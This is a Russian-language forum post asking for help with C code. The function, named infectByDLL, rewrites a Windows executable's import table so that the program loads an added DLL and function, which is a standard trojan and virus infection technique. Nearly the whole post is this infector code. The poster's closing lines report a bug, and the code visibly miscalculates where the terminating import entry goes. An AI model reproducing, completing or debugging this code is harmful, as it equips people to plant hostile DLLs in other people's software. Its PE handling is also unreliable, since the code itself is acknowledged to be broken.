Код (Text): #include "main.h" int infectByDLL (PCHAR path,PCHAR OUR_DLL_NAME,PCHAR OUR_FUNC_NAME ) { IMAGE_DOS_HEADER* mz_head; IMAGE_FILE_HEADER* pe_head; IMAGE_OPTIONAL_HEADER* pe_opt_head; IMAGE_SECTION_HEADER* sect; HANDLE hFile=NULL; HANDLE hMap=NULL; PVOID hMapFile=NULL; DWORD size=0; DWORD sizehi=0; char pe[] = "PE\0\0"; PVOID tmp=NULL; hFile=CreateFile(path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!hFile) { printf("File open failed"); return 0; } hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL); if (!hMap) { printf("Map object is not created"); CloseHandle(hFile); return 0; } hMapFile=MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0); if (!hMapFile) { printf("File Mapping not success"); CloseHandle(hMap); CloseHandle(hFile); return 0; } mz_head=(IMAGE_DOS_HEADER*)hMapFile; pe_head =(IMAGE_FILE_HEADER*)((char*)hMapFile + mz_head->e_lfanew); if ( strcmp(pe,(const char *)pe_head) != 0) { printf("It is not PE File"); UnmapViewOfFile(hMapFile); CloseHandle(hMap); CloseHandle(hFile); return 0; } pe_head =(IMAGE_FILE_HEADER*)((char*)hMapFile + mz_head->e_lfanew+sizeof(DWORD)); pe_opt_head =( IMAGE_OPTIONAL_HEADER*)((DWORD)pe_head + sizeof(IMAGE_FILE_HEADER)); int sect_num = -1; DWORD ImportRVA = pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; sect = (IMAGE_SECTION_HEADER*)((DWORD)pe_opt_head + sizeof(IMAGE_OPTIONAL_HEADER)); for ( int i=0; i<pe_head->NumberOfSections; i++) { if ( ImportRVA < sect->VirtualAddress ) { sect--; sect_num=i-1; break; } sect++; } if (sect_num == -1) { printf("Import Data not presented"); UnmapViewOfFile(hMapFile); CloseHandle(hMap); CloseHandle(hFile); return 0; } sect++; DWORD AfterImportSecBeg = (DWORD)hMapFile + sect->PointerToRawData; sect--; printf("Import table:"); LPVOID ImportSecBeg; ImportSecBeg = (LPVOID)((DWORD)hMapFile + sect->PointerToRawData); LPVOID ImportTable; ImportTable = (LPVOID)(ImportRVA - sect->VirtualAddress); ImportTable = (LPVOID)((DWORD)ImportSecBeg+ (DWORD)ImportTable); IMAGE_IMPORT_DESCRIPTOR *DLLInfo = (IMAGE_IMPORT_DESCRIPTOR *)ImportTable; PCHAR DLLName; DWORD DLLCounter = 0; printf("Import Table Entries:\n"); while (DLLInfo->Name != NULL) { DLLCounter++; DLLName = (PCHAR)((DWORD)DLLInfo->Name - sect->VirtualAddress); DLLName = (PCHAR)((DWORD)ImportSecBeg + (DWORD)DLLName); printf("%d:->%s\n",DLLCounter,DLLName); DLLInfo++; } // //Counting needed size in bytes for new import table DWORD NewImportTableSize = sizeof(IMAGE_IMPORT_DESCRIPTOR)*(DLLCounter+2); //Получаем файловый указатель на конец секции импорта LPBYTE pos; pos = (LPBYTE)AfterImportSecBeg-1; DWORD maxFree = 0; DWORD prevPtr; LPBYTE FreePtr = NULL; //Ищем свободное место в секции... while ( pos >= ImportSecBeg ) { if ( *(BYTE *)pos == 0x00 ) { prevPtr =(DWORD) pos; while (*(BYTE *)pos == 0x00) pos -= 4; if ( ((DWORD)prevPtr - (DWORD)pos) > maxFree ) { maxFree = ((DWORD)prevPtr - (DWORD)pos); FreePtr = pos + 4; } } pos -= 4; } //Модифицируем полученный указатель на свободный блок, т.к. //он может указывать на завершающий нулевой DWORD какой-либо структуры FreePtr +=4; maxFree -=4; printf("Free Size Ptr:->%x\n",FreePtr-(LPBYTE)hMapFile); printf("Free Size:->%d\n",maxFree); printf("Analizing free size...\n"); //Проверяем объем свободного места if ( maxFree < NewImportTableSize ) { printf("Don't have enough free size\n"); UnmapViewOfFile(hMapFile); CloseHandle(hMap); CloseHandle(hFile); return 0; } else printf("Free size presented\n"); /////// //1. Копируем старую таблицу импорта в новое место memcpy(FreePtr, ImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR)*DLLCounter); //2.1 Сохраняем строку с именем нашей DLL в старой таблице импорта //(для экономии места) memcpy(ImportTable, OUR_DLL_NAME, lstrlenA(OUR_DLL_NAME)); BYTE* zeroPtr; zeroPtr =(BYTE*) ((DWORD)ImportTable + lstrlenA(OUR_DLL_NAME)); //2.2 Сохраняем структуру IMAGE_IMPORT_BY_NAME в старой таблице импорта. //(так же для экономии места) IMAGE_IMPORT_BY_NAME myName; myName.Hint = 0x00; myName.Name[0] = 0x00; WORD Hint = 0; char* myFuncName = OUR_FUNC_NAME; hackRec patch; patch.ZeroDword = NULL; patch.IAT = ImportRVA + lstrlenA(OUR_DLL_NAME) + sizeof(hackRec); patch.IATEnd = NULL; DWORD IIBN_Table; memcpy(zeroPtr, &patch, sizeof(patch)); zeroPtr += sizeof(patch); memcpy(zeroPtr, &Hint, sizeof(WORD)); zeroPtr += sizeof(WORD); memcpy(zeroPtr, myFuncName, lstrlenA(myFuncName)+1 ); zeroPtr += lstrlenA(myFuncName)+1; memcpy(zeroPtr, &myName, sizeof(IMAGE_IMPORT_BY_NAME) ); //2.3. Заполняем структуру IMAGE_IMPORT_BY_NAME данными о нашей DLL IMAGE_IMPORT_DESCRIPTOR myDLL; //Вычисляем указатель на нашу структуру IMAGE_IMPORT_BY_NAME: //это адрес начала старой таблицы импорта + длинна строки с именем //нашей DLL + нулевой DWORD IIBN_Table = ImportRVA + lstrlenA( OUR_DLL_NAME ) + sizeof(DWORD); //Указатель на таблицу Characteristics myDLL.Characteristics = IIBN_Table; myDLL.TimeDateStamp = NULL; myDLL.ForwarderChain = NULL; //Записываем адрес строки с именем файла нашей DLL myDLL.Name = ImportRVA; //Указатель на таблицу FirstThunk myDLL.FirstThunk = IIBN_Table; //Записываем в новую таблицу импорта запись о нашей DLL LPBYTE OldFreePtr = FreePtr; FreePtr +=sizeof(IMAGE_IMPORT_DESCRIPTOR)*DLLCounter; memcpy(FreePtr, &myDLL, sizeof(IMAGE_IMPORT_DESCRIPTOR)); //Создаем "финальную" нулевую запись со всеми полями равными нулю myDLL.Characteristics = NULL; myDLL.TimeDateStamp = NULL; myDLL.ForwarderChain = NULL; myDLL.Name = NULL; myDLL.FirstThunk = NULL; [b] //И записываем её в конец новой таблицы импорта. FreePtr +=sizeof(IMAGE_IMPORT_DESCRIPTOR)*DLLCounter; //почему так???? а не без умножения? [/b] memcpy(FreePtr, &myDLL, sizeof(IMAGE_IMPORT_DESCRIPTOR)); //3. Устанавливаем указатель на нашу таблицу импорта. // Вычисляем RVA нашей таблицы DWORD NewImportTableRVA = (DWORD)OldFreePtr - (DWORD)ImportSecBeg + sect->VirtualAddress; // Заносим его в DataDirectory pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = NewImportTableRVA; pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (DLLCounter +1) * sizeof(IMAGE_IMPORT_DESCRIPTOR); //Additional changes 28.11.2002 pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0; pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0; pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0; printf("with God help it must be working...\n"); getch(); ////////////////// UnmapViewOfFile(hMapFile); CloseHandle(hMap); CloseHandle(hFile); return 0; } Пишу именно сюда, потому что алгоритм верен и импорт добавляется, но часто в таблицу импорта добавляются невалидные элементы вслед за валидным, типа размер неправильно где-то считается... суть не в трояне и не в вирусе, а в понимании... код переделан с исходника. пытаюсь разобраться.